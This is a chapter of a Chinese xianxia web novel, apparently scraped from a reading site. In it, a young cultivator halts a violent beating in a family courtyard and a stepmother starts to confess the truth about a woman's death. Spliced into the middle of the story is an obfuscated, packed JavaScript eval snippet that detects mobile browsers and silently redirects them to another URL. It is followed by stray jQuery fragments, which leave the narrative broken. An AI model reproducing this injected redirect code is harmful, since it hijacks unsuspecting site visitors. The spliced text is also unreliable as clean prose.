43. 往事如刀

作品:《红尘仙途

    一片混乱中,管家在一旁急得团团转,想拦又不敢去拦,不住地朝江铭看去。


    江铭冷哼一声,只上前夺回长剑,就不再插手。


    “哐哐!”


    大门突然被重重拍响,紧接着传来李大山扯着嗓子的叫门声:“大柱!开门,你们在闹什么?大家都听到了!”


    管教偷偷瞄向小仙师,只见江铭皱眉朝门外望去却不出声,他犹豫片刻终究不敢自作主张,干脆当听不见。


    门外,江蓠似乎察觉到江铭隔着两道墙投来的视线,她抬头静静回望。然而片刻后,没有人靠近,她等到的只有随微风飘来的血腥和浑浊汗气。


    李大山拍门声越加急促。


    江蓠向前一步,伸手按住父亲的手臂,摇摇头。


    她抬腿,用力踹出——


    “轰!”


    门栓应声断裂,两扇木门重重撞到墙上,发出沉闷的巨响。


    她迈过门槛,快步穿过外院,垂花门虚掩着,她抬脚一踹——


    “砰!”


    门扉撞在墙上,弹回又晃开。


    内院里一片狼藉。


    李承业正疯了般挥舞木凳,一下一下砸向地上抱在一起的母子。院里散落着木屑和斑斑血迹。张大娘衣衫破裂,露出的身体皮开肉绽。她已经没了求饶的力气,只会发出一声声沉重的喘息。唯有抱着来福的手还一动不动,把她儿子死死护在怀里。


    江蓠呼吸霎时一沉,她怒喝一声,“住手!”


    同时抬手一招,隔空将母子二人拉至身旁。


    李承业举着凳子的手僵在半空,他呼哧呼哧地喘着粗气,目光沉沉地转向江蓠。


    江蓠只盯着江铭看。


    暮色深沉,室内灯火通明。他站在廊下,从烛火照耀的一侧转过来身来,面容笼罩在阴影下。


    他脸上没有一丝惊讶,平静地回视她道,“香梨,你来了。”


    江蓠轻皱眉心,两年间二人很少来往。江铭,如今变了多少?


    她调整心绪,眼神先瞥向管家,径直吩咐道,“取一竹榻来,他们伤得很重,不及时医治恐有性命之忧。”


    管家闻言吓一大跳,瞧向江铭,见他点头,忙安排人去取。


    她又取出一枚丸药递过去,“这是安神丸,送去给忆莲服下。”


    李承业这时方回过神来,阴沉地盯着她的一番动作道,“呵,江蓠仙师果真厉害,来我们家耍威风了。”


    江蓠只漠然以对。


    江梅眉头竖起先出声呛道,“李老爷,你以为自己真是天王老子了。在这内城里能随便杀人?两年前刚被人当丧家之犬赶回来,这就忘个干净?天枢院是你随便撒野的地方吗?”


    李大山过去拦在张大娘母子面前,“大柱,什么事不能坐下来好好说。内城里可不是乡下,你还要打杀人不成!”


    李承业冷哼一声,“别和我套近乎,我现在叫李承业!我家的事和你们没关系,滚回你们江家院子!”


    又指着江蓠对江铭道,“铁子,你不是和江蓠这小丫头绝交了吗?怎么还纵着她来我们家撒野?”


    江铭不屑地撇他一眼,“我现在叫江铭,不叫铁子。”


    李承业被他一噎,脸色瞬间涨红,气焰却消停不少,只凶狠地盯着躺在竹榻上的张大娘。


    江蓠如今的疗伤法术已无比娴熟。二人乃外伤严重,她从随身香囊中取出一枚丸药,指尖涌出丝丝水流将其化开,再均匀涂抹在他们身体的伤口处,绽开的皮肉被迅速修复。


    张大娘涣散暗淡的眼睛渐渐重新凝聚神采。她强撑着从榻上起身,闪烁着精光的瞳仁缓慢扫过李承业和江铭,最后定在蜷缩的来福身上。直直地看着他,直到他身上的青紫淤血都彻底消散。


    她伸手一一抚摸儿子露出的皮肤,确认每一处伤口都已重新长好,翻出帕子细细擦干净他泪痕满布的脸。来福确实长得不是很像李承业,他更瘦削,身子骨也轻。没有李承业那样英俊高大。


    那是她第一次怀孩子,明明小心得不能再小心,这个儿子还是不到五斤就早早地生出来。从小就瘦弱,夜里睡不安稳,自己整整三年从夜深哄他到天亮。吃又吃不下,每天变着花样给他做。耗了多少心神才把他养到这般大,如今九岁了,能读书习字,又孝顺自己,又有耐心培妹妹玩。知道哥哥厉害,从来都躲着他走。


    可惜,自己年轻时做错了事,现在如何做都于事无补……该来的终究要来。


    她最后抿抿散乱的发髻,扶着竹榻下地,肃脸向江蓠行礼道,“多谢仙师救命之恩。”又向李大山和江梅低头道谢。


    李承业阴沉着脸,呵斥道,“还不快过来,又想耍什么狐媚手段?”


    张大娘瞧一眼江铭,自嘲道,“手段?现在我们母子俩的身家性命,忆慈日后是福是祸,都在咱家仙师的一念之间。我一个普通妇人,还能有什么手段?”


    江铭不为所动,只冷冷地撇她一眼。


    张大娘的心沉到了底,看来今天无法善了。


    明明眼看着江铭将要离家,日后就能靠他的名头安稳渡过此生,不用担惊受怕,不用一直小心谨慎地伺候他……可惜,他一直都记着,专门挑了今天要报复回来。


    她转而看向江蓠几人,“桃花村在神都的两家人都齐了,正好你们在这儿能做个见证。”


    江梅皱眉问道,“你这话是什么意思?做什么见证?”


    李承业怒喝一声,“你个贱人!还想把自己不要脸的事说出去!”


    张大娘深吸口气,大声吼道,“谁不要脸!你天天在外面吃喝玩乐,不知多少人玩一个妓子有想过要脸吗?江莲前脚刚走,你后脚就来勾搭我,你要脸吗?”


    张大娘瞪大眼睛,用指甲重重刮过,脸皮上立时冒出一道道红痕,“我是不要脸!谁都能说,就你这个畜生不能说!”


    她扬起已渗出血珠的脸颊面向江铭道,“铁子,你恨我是应当的,有什么报应都是我应得的。我只求你放过来福和忆莲,他俩还小,以前哪里得罪过你,全是我这个当娘的没教好,求你一并算到我头上,不要和他们两个小孩子计较。”


    江铭眼中露出刻骨的恨意,并不回应。


    她接着道,“也不用再验什么亲,我今天就把所有事都说清楚。”


    李承业瞳孔一缩,尖声道,“你什么意思?什么所有的事?”


    张大娘快意地瞧他一眼,轻呵一声道,“所有的事,包括——江铭的娘是怎么死的。”


    一语落下,如惊雷般震响整个院子。


    江蓠心中一惊,四下看去,管家等人低头恨不得把自己埋进土里,开口道,“你们都下去吧。”管家忙不迭地招呼下人回外院。


    她接着祭出一张隔音符,不管他人如何揣测,接下来的话不能继续外泄了。


    而那边,江梅瞬间红了眼眶,嘴唇哆嗦着问道:“你……小莲自孩子没了后就一直流血,连县里大夫都请来看过,吃了多少药也不中用,最终都没能挺过去。难道,这里面还有别的事?”


    李承业暴怒地冲过去,“你个贱人,死到临头还来胡说!”


    院中的木凳凭空腾起直将他拦翻在地。


    江铭放下释放法术的手,慢慢走近张大娘,定定地盯着她的脸,不放过一丝神情的变化,“你知道什么,都说出来。”


    张大娘自嘲一笑,“说起来,我能知道这些,还多亏了以前的骈头,你们桃花村的小村长,江河。”


    她神情怔怔的,陷入从前的回忆中。


    天底下成亲的女人,都是抱着美满的期盼嫁进另一个家。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874855|190631||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可惜,不过是从一个火坑跳到另一个火坑。夫君天生体弱,成亲多年无所出,婆母嫌弃,娘家又只会来打秋风。这样炼狱般的日子,她整整熬了十年,终于熬到枕边人行将就木,她终于自由了。这一次她自己做主,暗自托媒婆寻摸,千挑万选看中了李大柱。她受够了衰弱的前夫,而李大柱身体健壮,上面又无长辈管束,还会点木工活计,她相当满意。至于前面婆娘留下的儿子,她压根没放在眼里,随便养到七八岁,打法他去县里做学徒就得了。


    二人偷摸见了几面后一拍即合,只等两边亡人过了七七,她就收拾包袱衣裳,在婆母的斥骂中出门,顶着桃花村村民的异样眼色住进了江铭的家。


    然而,事不如人愿。


    桃花村排外,老村长虽然看他们两个外姓人不顺眼,终究默许她留下。可他过世前,把村长传给了他儿子,那个人面的畜生。


    张大娘的眼神黯淡下来,“说出来你们可能不信,但一开始我不是自愿的。”


    江铭眼神低沉,他早就猜到两人在娘还没死的时候就勾搭上了,如今不过听她亲耳承认罢了。他追问道,“我娘的死到底有什么隐情,你快说!”


    李承业开口喊道,“你们别听这个贱人胡说,那时候……”


    江铭不耐地回头瞥他一眼,伸手招来几片树叶甩到他嘴上。李承业顿时呜呜咽咽地说不出话来。


    张大娘平静地继续道,“江河那个畜生,他爹刚死就过来威胁我,不陪他玩,就把我们一家都赶出去。李大柱那个孬种,我暗暗提过几嘴,他只让我躲在家里别出去,没有一点为我出头的胆子。我别无他法,只能一次次想办法糊弄过去,不让他得逞。谁知,被你们看在眼里,就以为我在和他苟且。”


    江蓠呼吸一窒,眼神有些慌乱地回忆当时的场景,难道,自己冤枉了她……


    江铭打断道,“我不管这些,我娘的死到底有什么隐情?”


    张大娘叹息一声,“结果不知是不是怀孕时担惊受怕,来福早产,生下来就体弱多病,大夫说每天都要用药膳温养……李大柱那个窝囊废,手艺一般又不会说话,挣的那点钱也就够一家人吃喝,哪里供得起来福的药。我没办法,只能从了江河。”


    她说完停顿片刻,看向皱眉思索的江铭,“你也猜出来了吧?听说你生下来身子骨也弱,求医问药花光了家底,全靠你娘日夜绣帕子勉强支应。可惜后面又怀上一个,身体本就虚弱,还要强撑着打理家事。江河一直惦念你娘,我不过和你娘有几分相似都被他盯上,又怎会没打过她的主意?”


    江铭攥紧拳头,眼睛通红,沙哑着开口,“他做了什么?”


    张大娘接着道,“这都是从他嘴里听来的,他心里还愧疚着呢。他说,看江莲怀孕还那么辛苦,他一面恨她眼光不好嫁了个面上光的男人,一面偷摸找过去,称只要和他好,以后一定让她过好日子。”


    江梅忍不住捂住脸,发出一声抽泣。


    “你娘却性情刚烈,怒骂他一顿不说,还要找老村长告状。他吓得消停了几天,可老村长没来找他。他心想,江莲那样的性子居然心软忍了下来,可见并不是完全对他无意。从此更是阴魂不散地纠缠。就这么着,”


    她顿了顿,声音发沉,“你娘的孩子,没了。”


    江梅眼睛红肿,“我知道她那时候艰难,只是她太倔强了,怎么这些事都不和我说呢。”


    江铭的拳头捏得咯咯作响,“所以我娘小产是被他逼得?”


    张大娘冷哼一声,眼角瞥向李承业,“还有你那个爹。这事,你娘肯定和他说过,他那时候做了些什么呢?”


    江铭冰冷的目光投过去。


    李承业似被那眼中的恨意刺中,脸色瞬间煞白,身体抖若筛糠,一个劲地摇头,却连呜咽声都发不出来。